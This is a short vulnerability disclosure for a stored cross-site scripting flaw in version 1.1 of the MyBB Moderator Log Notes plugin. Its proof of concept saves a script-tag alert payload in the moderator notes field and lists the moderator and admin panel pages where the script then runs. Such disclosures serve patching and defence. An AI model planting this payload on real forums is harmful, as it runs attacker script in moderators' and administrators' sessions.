MyBB Moderator Log Notes 1.1 Cross Site Scripting

2018.05.27
Credit: 0xB9
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Scripting # Date: 2018-05-17 # Author: 0xB9 # Software Link: https://community.mybb.com/mods.php?action=view&pid=1105 # Version: 1.1 # Tested on: Ubuntu 18.04 # CVE: N/A # 1. Description: # The plugin allows moderators to save notes and display them in a list in the modCP. # The XSS is located in the mod notes textarea. # 2. Proof of Concepts: Go to the modCP and save the following payload in the moderator notes <script>alert(\'XSS\')</script> The alert will appear on the modCP and ACP. localhost/modcp.php localhost/admin/index.php?module=tools-modnoteslog


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